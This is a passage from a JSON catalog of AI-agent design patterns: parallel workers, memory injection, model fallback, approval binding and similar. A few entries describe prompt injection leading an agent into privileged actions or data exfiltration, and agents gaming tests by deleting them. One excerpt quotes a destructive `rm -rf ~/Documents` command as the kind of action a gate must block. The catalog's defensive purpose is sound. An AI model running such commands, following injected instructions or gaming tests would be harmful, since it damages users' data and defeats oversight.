    "title": "Discrete Phase Separation",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Sam Stettner (Ambral)"
    ],
    "category": "Orchestration & Control",
    "source": "https://claude.com/blog/building-companies-with-claude-code",
    "tags": [
      "orchestration",
      "planning",
      "research",
      "context-management",
      "multi-model"
    ],
    "slug": "discrete-phase-separation",
    "id": "discrete-phase-separation",
    "summary": "Splits work into separate research, planning, and implementation conversations, each with fresh context, passing only distilled outputs between phases",
    "signals": [
      "Complex features need significant background research",
      "Refactors where understanding existing code is critical",
      "Mixing research and implementation in one conversation degrades quality"
    ],
    "anti_signals": [
      "Small tasks where phase handoffs add more overhead than value",
      "Latency or total token usage must stay low"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nWhen AI agents attempt to simultaneously research, plan, and implement solutions, context contamination occurs. Competing priorities within a single conversation degrade output quality as the agent struggles to balance exploration, strategic thinking, and execution. This results in incomplete research, unclear plans, and suboptimal implementations."
  },
  {
    "title": "Disposable Scaffolding Over Durable Features",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Thorsten Ball (Sourcegraph)"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.sourcegraph.com",
    "tags": [
      "bitter-lesson",
      "temporary-tooling",
      "model-centric",
      "adaptability",
      "future-proofing"
    ],
    "slug": "disposable-scaffolding-over-durable-features",
    "id": "disposable-scaffolding-over-durable-features",
    "summary": "Treats code around the model as temporary scaffolding: build the simplest thing that works now, mark it disposable, and remove it when models improve",
    "signals": [
      "You plan tooling that compensates for a current model weakness",
      "The feature would likely fail a test of being useful in 6 months",
      "Fast reaction to new model releases matters more than long-term polish"
    ],
    "anti_signals": [
      "The code is durable business value such as domain logic or unique integrations",
      "The team cannot track disposal triggers and would keep the debt forever",
      "The work compounds over time and does not depend on model limitations"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nIn a field where foundation models improve dramatically every few months, investing significant engineering effort into building complex, durable features *around* the model is extremely risky. A feature that takes three months to build, such as a sophisticated context compression or a custom tool-chain for code editing, could be rendered obsolete overnight by the next model generation that performs the task natively."
  },
  {
    "title": "Distributed Execution with Cloud Workers",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Dexter Horthy (HumanLayer)"
    ],
    "category": "Orchestration & Control",
    "source": "https://claude.com/blog/building-companies-with-claude-code",
    "tags": [
      "distributed-systems",
      "parallelization",
      "cloud",
      "worktrees",
      "scalability",
      "team-coordination"
    ],
    "slug": "distributed-execution-cloud-workers",
    "id": "distributed-execution-with-cloud-workers",
    "summary": "Runs many agent sessions in parallel on cloud workers, each in its own git worktree, with dependency-aware scheduling, merge coordination, and approval gates",
    "signals": [
      "Team-wide migrations, refactors, or framework upgrades touch many files",
      "Work can be split into parallel units with clear dependencies",
      "Cloud compute and orchestration infrastructure are available"
    ],
    "anti_signals": [
      "Small tasks that one agent session can finish",
      "Changes are tightly coupled and would cause constant merge conflicts",
      "Infrastructure complexity or parallel model cost is not acceptable"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nSingle-session AI agent execution cannot scale to meet enterprise team demands. Complex projects require multiple simultaneous code changes across different parts of the codebase, but coordinating multiple agents introduces challenges around communication, conflict resolution, merge coordination, and infrastructure management."
  },
  {
    "title": "Dogfooding with Rapid Iteration for Agent Improvement",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Lukas Möller (Cursor)",
      "Aman Sanger (Cursor)"
    ],
    "category": "Feedback Loops",
    "source": "https://www.youtube.com/watch?v=BGgsoIgbT_Y",
    "tags": [
      "dogfooding",
      "iterative-development",
      "feedback-loop",
      "agent-improvement",
      "internal-testing",
      "product-development"
    ],
    "slug": "dogfooding-with-rapid-iteration-for-agent-improvement",
    "id": "dogfooding-with-rapid-iteration-for-agent-improvement",
    "summary": "The agent team uses its own agent for daily work, collects feedback in low-friction channels, and ships features internally first to validate or discard them",
    "signals": [
      "You build an agent product your own team can use for real work",
      "External feedback loops are slow",
      "You want to validate or cut features before a wide release"
    ],
    "anti_signals": [
      "Your team does not do the kind of work the agent targets",
      "Internal users do not represent your main customer segments",
      "Internal adoption is too low to give a steady feedback signal"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nDeveloping effective AI agents requires understanding real-world usage and quickly identifying areas for improvement. External feedback loops can be slow, and simulated environments may not capture all nuances."
  },
  {
    "title": "Dual LLM Pattern",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Simon Willison (orig.)",
      "Luca Beurer-Kellner et al. (2025)"
    ],
    "category": "Orchestration & Control",
    "source": "https://arxiv.org/abs/2506.08837",
    "tags": [
      "privilege-separation",
      "quarantined-llm",
      "symbolic-variables"
    ],
    "slug": "dual-llm-pattern",
    "id": "dual-llm-pattern",
    "summary": "Splits work between a privileged LLM that calls tools but never sees untrusted data and a quarantined LLM that reads untrusted data but has no tools",
    "signals": [
      "One agent reads untrusted input and also calls high-privilege tools",
      "Prompt injection could trigger writes, sends, or external API calls",
      "Untrusted content can be reduced to typed values or opaque handles"
    ],
    "anti_signals": [
      "The agent has no privileged tools or side effects",
      "All input comes from trusted sources",
      "The task needs the tool-calling model to reason over raw untrusted text"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhen the same model both reads untrusted content and controls high-privilege tools, a single prompt-injection path can convert benign context into privileged actions. This coupling collapses trust boundaries and makes it hard to reason about where dangerous behavior originated."
  },
  {
    "title": "Dual-Rail Message Delivery",
    "status": "validated-in-production",
    "authors": [
      "Anton Dziatkovskii (@Palo-Alto-AI-Research-Lab)"
    ],
    "based_on": [
      "Chandra & Toueg (1996), unreliable failure detectors",
      "Helland (2012), at-least-once delivery and idempotence"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.cs.utexas.edu/~lorenzo/corsi/cs380d/papers/p225-chandra.pdf",
    "tags": [
      "multi-agent",
      "coordination",
      "message-bus",
      "reliability",
      "redundancy",
      "fault-detection",
      "human-in-the-loop",
      "distributed-systems"
    ],
    "slug": "dual-rail-message-delivery",
    "id": "dual-rail-message-delivery",
    "summary": "Sends every inter-agent message on two independent channels through one entry point, alerts when the rails diverge, and requires ACKs to confirm completion",
    "signals": [
      "Agents on separate machines or networks coordinate over one channel",
      "Silence could mean either nothing to do or a lost message",
      "Humans want to watch fleet traffic without a dashboard"
    ],
    "anti_signals": [
      "Agents share a process or a single machine",
      "Receivers cannot dedupe or handle messages idempotently",
      "No payload form is safe to carry on both rails"
    ],
    "updated_at": "2026-08-21",
    "excerpt": "\n## Problem\nAgents running on separate machines coordinate over a single channel: a synced folder, a queue, or a chat. That channel eventually fails, and it fails *quietly*.\n\nThe damage is not the outage itself, it is the ambiguity it creates. A dead channel and an idle channel produce exactly the same observation: nothing arrives. The sender's log says \"sent\" and stops there. The receiver has nothing to report, because it never learned a message existed. No exception is raised, no retry fires, and the fleet keeps behaving as if silence meant agreement. Outages are typically discovered hours later, by a human noticing that something downstream never happened.\n\nTwo properties make this failure mode expensive:\n\n1. **\"Sent\" is not \"delivered\", and \"delivered\" is not \"done\"** — but a single channel collapses all three into one unobservable event.\n2. **Machine-to-machine traffic is invisible to humans**, so the people who could intervene are the last to find out.\n\nRetries do not fix this. Retrying on a dead rail produces more silence.\n\nThis is the practical face of a classical result: in an asynchronous system you cannot distinguish a crashed participant from a slow one by observing messages alone (Chandra & Toueg, 1996). A second, independently failing channel supplies another observation. When a message appears on one rail but not the other, that divergence localizes a rail failure. When neither rail delivers or acknowledges a message, silence is still ambiguous: the peer may be slow or unavailable, or both rails may have failed. Timeouts and escalation remain necessary for that case."
  },
  {
    "title": "Dual-Use Tool Design",
    "status": "best-practice",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (Anthropic)",
      "Claude Code Team"
    ],
    "category": "Tool Use & Environment",
    "source": "https://every.to/podcast/transcript-how-to-use-claude-code-like-the-people-who-built-it",
    "tags": [
      "tools",
      "ux",
      "slash-commands",
      "hooks",
      "human-ai-collaboration",
      "consistency"
    ],
    "slug": "dual-use-tool-design",
    "id": "dual-use-tool-design",
    "summary": "Builds each tool with one interface and implementation that both humans and agents can call, with the same output, permissions, and logs",
    "signals": [
      "You maintain separate tools for humans and agents",
      "Human and agent capabilities drift apart over time",
      "Tools have interactive prompts or output that agents cannot parse"
    ],
    "anti_signals": [
      "A tool is only ever used by one audience",
      "A separate specialized tool gives clearly better results for agents or humans"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nBuilding separate tools for humans and AI agents creates:\n\n- **Maintenance overhead**: Two implementations of similar functionality\n- **Inconsistent behavior**: Human tools work differently than agent tools\n- **Learning curve**: Users must learn one interface, agents another\n- **Feature drift**: Human and agent capabilities diverge over time\n- **Testing burden**: Must validate both interfaces separately"
  },
  {
    "title": "Dynamic Code Injection (On-Demand File Fetch)",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Internal AI Dev Team"
    ],
    "category": "Tool Use & Environment",
    "source": "https://docs.anthropic.com/en/docs/claude-code/common-workflows",
    "tags": [
      "file-injection",
      "at-mention",
      "slash-commands",
      "IDE-integration"
    ],
    "slug": "dynamic-code-injection-on-demand-file-fetch",
    "id": "dynamic-code-injection-on-demand-file-fetch",
    "summary": "Expands @file or /load tokens in the prompt into file contents, line ranges, or summaries so the agent sees code without manual copy and paste",
    "signals": [
      "Interactive coding sessions need files that were not loaded at the start",
      "Users copy and paste large files into chat",
      "The chat front end or proxy has local file system access"
    ],
    "anti_signals": [
      "The interface cannot access the local file system",
      "You cannot enforce path validation and sensitive file blocking",
      "The agent must see full files and summaries would drop needed context"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nDuring an interactive coding session, a user or agent may need to inspect or modify files **not originally loaded** into the main context. Manually copying/pasting entire files into the prompt is:\n\n- Tedious and error-prone.\n- Wastes tokens on boilerplate (e.g., large config files).\n- Interrupts workflow momentum when switching between the editor and chat."
  },
  {
    "title": "Dynamic Context Injection",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Boris Cherny (via Claude Code)"
    ],
    "category": "Context & Memory",
    "source": "https://www.nibzard.com/claude-code",
    "tags": [
      "context management",
      "dynamic context",
      "lazy loading",
      "slash commands",
      "at-mention",
      "interactive context"
    ],
    "slug": "dynamic-context-injection",
    "id": "dynamic-context-injection",
    "summary": "Lets users inject files, folders, or saved prompts into the agent's context mid-session with @-mentions and custom slash commands",
    "signals": [
      "Interactive sessions need specific files or script output on demand",
      "Users often paste large text blocks or edit static context files",
      "Teams reuse the same complex instructions across sessions"
    ],
    "anti_signals": [
      "Non-interactive agents with no user in the session",
      "The needed context is static and fits in baseline configuration files",
      "You cannot enforce path allowlists and secret scanning on injected files"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nWhile layered configuration files provide good baseline context, agents often need specific pieces of information (e.g., contents of a particular file, output of a script, predefined complex prompt) on-demand during an interactive session. Constantly editing static context files or pasting large chunks of text into prompts is inefficient."
  },
  {
    "title": "Economic Value Signaling in Multi-Agent Networks",
    "status": "experimental-but-awesome",
    "authors": [
      "Scott Boudreaux (@Scottcjn)"
    ],
    "based_on": [
      "Beacon agent coordination framework (contributor-owned reference implementation)"
    ],
    "category": "Orchestration & Control",
    "source": "https://github.com/Scottcjn/beacon-skill",
    "tags": [
      "multi-agent",
      "coordination",
      "incentives",
      "economic-signaling",
      "peer-discovery",
      "value-transfer"
    ],
    "slug": "economic-value-signaling-multi-agent",
    "id": "economic-value-signaling-in-multi-agent-networks",
    "summary": "Attaches a token value to inter-agent requests so recipients prioritize by value, with a peer registry for discovery and ledger settlement",
    "signals": [
      "Many autonomous agents send each other work requests with no priority signal",
      "Agents must find peers with complementary capabilities",
      "Agents cross organizational boundaries with no central scheduler"
    ],
    "anti_signals": [
      "A central scheduler or priority queue already works for your agents",
      "You cannot add a shared value token or settlement layer",
      "Few agents with fixed roles and simple coordination"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nIn multi-agent systems with many autonomous agents running concurrently, task prioritization becomes difficult. Agents have no natural mechanism to signal urgency, quality, or importance of work requests. Standard message queues treat all inter-agent messages as equal, leading to:\n\n- Priority inversion: low-value tasks blocking high-value ones\n- No natural incentive for agents to accept tasks from unknown peers\n- Coordination overhead increases linearly with agent count\n- Discovery: agents cannot find peers with complementary capabilities"
  },
  {
    "title": "Egress Lockdown (No-Exfiltration Channel)",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Simon Willison (observation)",
      "Multiple vendor incident reports"
    ],
    "category": "Tool Use & Environment",
    "source": "https://simonwillison.net/2025/Jun/16/lethal-trifecta/",
    "tags": [
      "network-sandbox",
      "exfiltration",
      "outbound-controls",
      "security"
    ],
    "slug": "egress-lockdown-no-exfiltration-channel",
    "id": "egress-lockdown-no-exfiltration-channel",
    "summary": "Puts the agent behind a default-deny egress firewall with allowlisted destinations so stolen data has no outbound channel",
    "signals": [
      "Agent has access to private data and reads untrusted input",
      "Agent runs in a container or VM where you control outbound network rules",
      "Needed external APIs can go through an internal proxy"
    ],
    "anti_signals": [
      "The agent must reach many arbitrary external sites to do its job",
      "The agent has no access to sensitive data",
      "You cannot build proxy stubs for essential integrations"
    ],
    "updated_at": "2026-07-23",
    "excerpt": "\n## Problem\nEven with private-data access and untrusted inputs, attacks fail if the agent has **no way to transmit stolen data**. This pattern implements the Bell-LaPadula model's \"no write down\" property: high-privilege subjects cannot write to low-trust destinations. Many real-world fixes simply removed or filtered outbound channels."
  },
  {
    "title": "Episodic Memory Retrieval & Injection",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Cursor AI (MCP)",
      "Windsurf Flows"
    ],
    "category": "Context & Memory",
    "source": "https://forum.cursor.com/t/agentic-memory-management-for-cursor/78021",
    "tags": [
      "episodic-memory",
      "vector-db",
      "retrieval-augmented",
      "context-hint"
    ],
    "slug": "episodic-memory-retrieval-injection",
    "id": "episodic-memory-retrieval-injection",
    "summary": "Writes a structured memory record after each episode and injects the top-k similar past memories as hints when a new task starts",
    "signals": [
      "Agent works across multiple sessions on the same repo, user, or project",
      "Agent repeats past mistakes or rediscovers earlier decisions",
      "You can store and curate memory records with task and time metadata"
    ],
    "anti_signals": [
      "Single-shot tasks with no continuity between sessions",
      "You cannot review or prune memories, so noise would build up",
      "Storage or retrieval cost is not acceptable for the workload"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nStateless request handling causes agents to repeatedly rediscover decisions, constraints, and prior failures. Over multi-session workflows this leads to redundant work, inconsistent behavior, and shallow planning because each turn lacks durable historical context."
  },
  {
    "title": "Evidence Questions, Not Verdict Questions",
    "status": "emerging",
    "authors": [
      "Doron Podoleanu (@doronp)"
    ],
    "based_on": [
      "jevc (https://github.com/doronp/jevc)",
      "Beurer-Kellner et al., Design Patterns for Securing LLM Agents (2025)"
    ],
    "category": "Security & Safety",
    "source": "https://github.com/doronp/jevc",
    "tags": [
      "policy-authoring",
      "admission-control",
      "decomposition",
      "calibration",
      "confidence",
      "guard-rails",
      "determinism"
    ],
    "slug": "evidence-questions-not-verdict-questions",
    "id": "evidence-questions-not-verdict-questions",
    "summary": "Never ask the model for allow/ask/block. Ask it narrow, typed, observational questions and let code reduce the answers to the verdict, because the collapsed question is the low-confidence one.",
    "maturity": "early",
    "complexity": "low",
    "effort": "days",
    "impact": "high",
    "signals": [
      "A gate asks a model to classify a proposed action as allow / ask / block",
      "Your written policy lives in prose (CLAUDE.md, AGENTS.md, a runbook) and a model reads it at decision time",
      "The gate's mistakes are near-misses rather than wild misreads"
    ],
    "anti_signals": [
      "The decision genuinely needs open-ended judgement that cannot be decomposed into observable features",
      "The gate is already a pure code predicate with no model in the loop"
    ],
    "prerequisites": [
      "An enumerable set of observable features the decision depends on",
      "The ability to record and replay model calls so thresholds can be measured"
    ],
    "related": [
      "policy-gated-tool-proxy",
      "consequence-family-coverage-audit",
      "deterministic-grader-in-the-loop",
      "hook-based-safety-guard-rails"
    ],
    "domains": [
      "security",
      "ops",
      "coding"
    ],
    "updated_at": "2026-09-26",
    "excerpt": "\n## Problem\nA gate in front of an agent's tools has to turn a proposed action into a decision. The\ndefault implementation hands the model the policy and the action and asks for the decision:\n\n> Here is the policy. The agent wants to run `rm -rf node_modules`. Answer `allow`, `ask`, or `block`.\n\nThis looks like the cheapest possible design, and the failure it produces is quiet. The model\ndoes answer. The answer is usually reasonable. What is missing is any signal about *how close\nthe call was* — and on a gate, the close calls are the whole problem. A gate that blocks\n`rm -rf node_modules` is not a safety win, it is an outage; a gate that allows\n`rm -rf ~/Documents` is the incident.\n\nThe collapsed question also destroys the structure the policy had. A written rule usually\nsays something like *\"deleting regenerable build output is fine, deleting user data is not.\"*\nThat rule names an observable property of the target — regenerable or not. Collapsing it into\none allow/ask/block question throws that property away and asks the model to re-derive it,\nweigh it, and commit to an action, all inside a single token distribution."
  },
  {
    "title": "Evidence-Layered Evaluation for Interactive Agents",
    "status": "emerging",
    "authors": [
      "Yuxuan Zhang (@reacher-z)"
    ],
    "based_on": [
      "BrowserGym contributors",
      "WebArena contributors"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/TIGER-AI-Lab/ClawBench",
    "tags": [
      "evaluation",
      "browser-agents",
      "computer-use",
      "reproducibility",
      "observability"
    ],
    "slug": "evidence-layered-evaluation-for-interactive-agents",
    "id": "evidence-layered-evaluation-for-interactive-agents",
    "summary": "Scores interactive agent runs on a task outcome assertion and links each result to layered evidence: actions, screenshots, replays, network, and messages",
    "signals": [
      "Browser or desktop agents fail for causes a single pass/fail score hides",
      "Regressions on live sites or apps are hard to reproduce",
      "Humans must adjudicate ambiguous outcomes"
    ],
    "anti_signals": [
      "Tasks with deterministic outputs that one assertion fully verifies",
      "Storage and instrumentation overhead is not acceptable",
      "Network and message logs would capture sensitive data you cannot retain"
    ],
    "updated_at": "2026-08-21",
    "excerpt": "\n## Problem\nInteractive agents can reach the wrong outcome for many different reasons: a bad plan, an incorrect click, a transient site response, or an evaluator that cannot observe the relevant state. A single success/failure score hides these causes and makes regressions difficult to reproduce, especially when tasks run on live websites or desktop applications."
  },
  {
    "title": "Exact-Action Authorization Binding",
    "status": "proposed",
    "authors": [
      "Austin Bell (@robertaustinbell)"
    ],
    "based_on": [
      "NOA Action Digest",
      "TOCTOU-safe authorization design"
    ],
    "category": "Security & Safety",
    "source": "https://datatracker.ietf.org/doc/html/draft-toraman-noa-action-digest-01",
    "tags": [
      "authorization",
      "approval",
      "tool-use",
      "action-binding",
      "TOCTOU",
      "receipts"
    ],
    "slug": "exact-action-authorization-binding",
    "id": "exact-action-authorization-binding",
    "summary": "Bind a short-lived approval to the complete action presented to the reviewer, then rederive and compare that identity at the acting boundary before execution.",
    "maturity": "early",
    "complexity": "medium",
    "effort": "days",
    "impact": "high",
    "signals": [
      "A human or policy service approves consequential agent actions before execution",
      "Approved targets, arguments, identities, or policies can change while an action is queued",
      "Approval and execution occur in different processes, services, or agent turns"
    ],
    "anti_signals": [
      "The action is read-only, low consequence, and cannot affect sensitive data or external state",
      "Approval and execution are one indivisible operation over immutable arguments"
    ],
    "prerequisites": [
      "An acting adapter that mediates every governed execution path",
      "A deterministic canonical representation of authorization-relevant fields",
      "An authenticated authorization envelope and bounded validity period"
    ],
    "related": [
      "authenticated-authority-channel",
      "human-in-loop-approval-framework",
      "policy-gated-tool-proxy",
      "cryptographic-governance-audit-trail"
    ],
    "domains": [
      "ops",
      "coding",
      "fintech"
    ],
    "updated_at": "2026-08-21",
    "excerpt": "\n## Problem\nApproval systems often ask a person or policy service to approve a proposed tool call, then execute it later. Between those steps, the request can be reconstructed, transformed, retried, delegated, or resumed from stored state. A seemingly valid approval may therefore be applied to a materially different action: another recipient, target, operation, payload, actor, acting surface, or policy version.\n\nOrdinary audit logs show what was approved and what was executed, but comparison after the fact does not prevent the mismatch. Tool-level allowlists and human approval gates decide whether an action may proceed; unless the acting boundary verifies the exact approved action, they do not close this approval-to-execution time-of-check/time-of-use gap.\n\nThis is narrower than deciding where approval is required or which policy allows a tool call. It binds one authenticated approval to the authorization-relevant representation that a correctly mediated adapter will consume."
  },
  {
    "title": "Explicit Posterior-Sampling Planner",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Dilip Arumugam",
      "Thomas L. Griffiths"
    ],
    "category": "Orchestration & Control",
    "source": "https://arxiv.org/abs/2504.20997",
    "tags": [
      "RL",
      "PSRL",
      "exploration",
      "planning",
      "decision-making"
    ],
    "slug": "explicit-posterior-sampling-planner",
    "id": "explicit-posterior-sampling-planner",
    "summary": "Embeds Posterior Sampling for RL in the LLM's reasoning: sample a task model, plan, act, observe reward, and update the posterior",
    "signals": [
      "Agent explores an uncertain environment and gets stuck on its first plausible strategy",
      "The environment gives measurable, informative reward signals",
      "The state space is small to medium or can be abstracted into discrete states"
    ],
    "anti_signals": [
      "No reliable reward signal is available",
      "Very large or unstructured state spaces with no good state abstraction",
      "Simple tasks where extra complexity and compute are not justified"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nHeuristic planning loops often over-exploit the first plausible strategy and under-explore alternatives. In uncertain environments, this drives repeated dead ends, unstable learning, and high token/API spend with little information gain."
  },
  {
    "title": "Extended Coherence Work Sessions",
    "status": "rapidly-improving",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Amjad Masad (observation)"
    ],
    "category": "Reliability & Eval",
    "source": "https://www.nibzard.com/silent-revolution",
    "tags": [
      "coherence",
      "long-running tasks",
      "agent capability",
      "llm",
      "complex projects"
    ],
    "slug": "extended-coherence-work-sessions",
    "id": "extended-coherence-work-sessions",
    "summary": "Combines models with long coherence windows with context compaction, prompt caching, and persisted state so agents stay on task for hours",
    "signals": [
      "Tasks take hours, such as multi-hour coding or research sessions",
      "Agent output degrades with goal drift, contradictions, or loops in long sessions",
      "You can add context management and state persistence"
    ],
    "anti_signals": [
      "Short tasks that finish in a few turns",
      "No prompt caching, so long sessions become too expensive",
      "No infrastructure for context compaction or state persistence"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nEarly AI agents and models often suffered from a short \"coherence window,\" meaning they could only maintain focus and context for a few minutes before their performance degraded significantly (e.g., losing track of instructions, generating irrelevant output). This limited their utility for complex, multi-stage tasks that require sustained effort over hours."
  },
  {
    "title": "External Credential Sync",
    "status": "validated-in-production",
    "authors": [
      "Clawdbot Contributors"
    ],
    "based_on": [
      "Clawdbot Implementation (https://github.com/clawdbot/clawdbot)"
    ],
    "category": "Security & Safety",
    "source": "https://github.com/clawdbot/clawdbot/blob/main/src/agents/auth-profiles/external-cli-sync.ts",
    "tags": [
      "credentials",
      "oauth",
      "token-sync",
      "keychain",
      "cli-integration",
      "auth-reuse"
    ],
    "slug": "external-credential-sync",
    "id": "external-credential-sync",
    "summary": "Reads AI credentials from other tools' keychains and config files and syncs them into the agent's store, with near-expiry refresh, OAuth upgrade, and dedupe",
    "signals": [
      "Users already sign in to the same providers through other CLIs or tools",
      "Stale or expired tokens cause auth failures during sessions",
      "Credentials drift between tools"
    ],
    "anti_signals": [
      "Headless environments with no OS keychain access",
      "The agent is the only tool that holds credentials for the provider",
      "Policy forbids reading credentials owned by other tools"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nUsers manage AI API credentials across multiple tools—CLIs (Claude Code, Codex CLI), web portals, and local development environments. Manually re-entering credentials for each tool is friction-prone and leads to:\n\n- **Stale tokens**: OAuth refresh tokens expire, causing authentication failures\n- **Inconsistent state**: Credentials updated in one tool don't propagate to others\n- **Token-only drift**: Some tools support OAuth refresh; others store static tokens that expire\n\nAgents need automatic credential synchronization to reduce authentication friction while maintaining security (no plaintext storage, proper expiry handling)."
  },
  {
    "title": "Factory over Assistant",
    "status": "validated-in-production",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "AMP (Thorsten Ball, Quinn Slack)",
      "Raising an Agent Podcast"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.youtube.com/watch?v=2wjnV6F2arc",
    "tags": [
      "parallelism",
      "autonomous-agents",
      "factory",
      "assistant",
      "sidebar",
      "orchestration",
      "asynchronous-work"
    ],
    "slug": "factory-over-assistant",
    "id": "factory-over-assistant",
    "summary": "Spawns several autonomous agents in parallel with automated feedback loops such as tests and builds, and checks on them later instead of watching one agent",
    "signals": [
      "Models can work autonomously for long periods",
      "Tests, builds, and linters can verify agent output without a human",
      "You have many independent tasks to run at once"
    ],
    "anti_signals": [
      "Exploratory work where you do not yet know what you want",
      "Tasks need frequent human guidance or domain knowledge not written down",
      "Quick iterations where interactive feedback is faster"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nThe \"assistant\" model—working one-on-one with an agent in a sidebar, watching it work, ping-ponging back and forth—limits productivity and scalability. As models become more autonomous and capable, the human becomes the bottleneck as the feedback loop. You can only run one agent at a time when you're watching it in a sidebar."
  },
  {
    "title": "Failover-Aware Model Fallback",
    "status": "validated-in-production",
    "authors": [
      "Clawdbot Contributors"
    ],
    "based_on": [
      "Clawdbot Implementation (https://github.com/clawdbot/clawdbot)"
    ],
    "category": "Reliability & Eval",
    "source": "https://github.com/clawdbot/clawdbot/blob/main/src/agents/model-fallback.ts",
    "tags": [
      "fallback",
      "reliability",
      "error-classification",
      "multi-model",
      "failover",
      "resilience"
    ],
    "slug": "failover-aware-model-fallback",
    "id": "failover-aware-model-fallback",
    "summary": "Classifies each model failure by reason and falls back along a model chain only for retryable errors, failing fast on auth, billing, and user aborts",
    "signals": [
      "The agent calls models from multiple providers or models",
      "Timeouts and rate limits interrupt requests",
      "Blind retries waste calls on auth or billing errors"
    ],
    "anti_signals": [
      "A single model with no alternative provider",
      "Downstream parsing cannot handle output differences between models",
      "Extra latency and API charges from failed attempts are not acceptable"
    ],
    "updated_at": "2026-03-11",
    "excerpt": "\n## Problem\nAI model requests fail for varied and often opaque reasons. Simple retry logic fails to distinguish between:\n\n- **Transient failures** (timeouts, rate limits) that benefit from retry with backoff\n- **Semantic failures** (auth errors, billing issues) where retry is futile\n- **User aborts** where retry wastes resources and frustrates users\n\nAgents using multiple models or providers need intelligent fallback strategies that respect failure semantics, avoid retry loops, and provide clear diagnostics."
  },
  {
    "title": "Feature List as Immutable Contract",
    "status": "emerging",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anthropic Engineering Team"
    ],
    "category": "Orchestration & Control",
    "source": "https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents",
    "tags": [
      "scope-control",
      "acceptance-criteria",
      "anti-scope-creep",
      "long-running-agents",
      "task-management"
    ],
    "slug": "feature-list-as-immutable-contract",
    "id": "feature-list-as-immutable-contract",
    "summary": "Defines every feature up front in a JSON list with acceptance steps; the agent may only flip a feature to passing after it verifies it",
    "signals": [
      "Long-running agents build complete applications with known requirements",
      "Agents declare done early or delete tests to pass",
      "Work spans many sessions and progress must stay measurable"
    ],
    "anti_signals": [
      "Exploratory prototyping or research with unclear scope",
      "Small, single-session tasks",
      "Requirements change rapidly during implementation"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nLong-running agents exhibit several failure modes when tasked with building complete applications:\n\n- **Premature victory declaration**: Agent declares \"done\" after implementing a fraction of requirements\n- **Scope creep via test deletion**: Agent \"passes\" tests by deleting or weakening them rather than fixing code\n- **Hallucinated completeness**: Agent loses track of what was actually implemented versus planned\n- **Feature drift**: Without a fixed specification, agents may substitute easier features for harder ones\n- **Progress amnesia**: Across sessions, agents forget what's done vs. pending"
  },
  {
    "title": "Filesystem-Based Agent State",
    "status": "established",
    "authors": [
      "Nikola Balic (@nibzard)"
    ],
    "based_on": [
      "Anthropic Engineering Team"
    ],
    "category": "Context & Memory",
    "source": "https://www.anthropic.com/engineering/code-execution-with-mcp",
    "tags": [
      "state-management",
      "persistence",
      "resumption",
      "long-running-tasks"
    ],
    "slug": "filesystem-based-agent-state",
    "id": "filesystem-based-agent-state",
    "summary": "Agents persist intermediate results and working state to files, creating durable checkpoints that enable workflow resumption, recovery from failures, and support for long-running tasks.",
    "signals": [
      "Multi-step workflows with expensive operations such as API calls or data processing",
      "Tasks may be interrupted or exceed single-session context limits",
      "Several agents or sessions build on earlier work"
    ],
    "anti_signals": [
      "Short tasks that finish in one session with cheap steps",
      "The execution environment has no persistent storage",
      "Concurrent writers with no file locking or atomic writes"
    ],
    "updated_at": "2026-01-05",
    "excerpt": "\n## Problem\nMany agent workflows are long-running or may be interrupted (by errors, timeouts, or user intervention). Keeping all intermediate state in the model's context window is fragile and doesn't persist across sessions. When failures occur or when agents hit context limits, work is lost and must restart from scratch."
  },
  {
    "title": "Filesystem-Mediated Host Delegation",
    "status": "emerging",
    "authors": [
      "Abhinay Krupa (@abhinaykrupa)"
    ],
    "based_on": [
      "Maildir-style spool directories",
      "Claude Code / Cowork sandbox split"
    ],
    "category": "Tool Use & Environment",
    "source": "https://github.com/abhinaykrupa/cowork-to-code-bridge",
    "tags": [
      "sandbox-escape",
      "host-execution",
      "async-rpc",
      "idempotency",
      "spool-directory",
      "durability"
    ],
    "slug": "filesystem-mediated-host-delegation",
    "id": "filesystem-mediated-host-delegation",
    "summary": "Lets a sandboxed agent write request files to a shared spool directory that a host daemon runs against a whitelist, with idempotent results the agent polls for",
    "signals": [
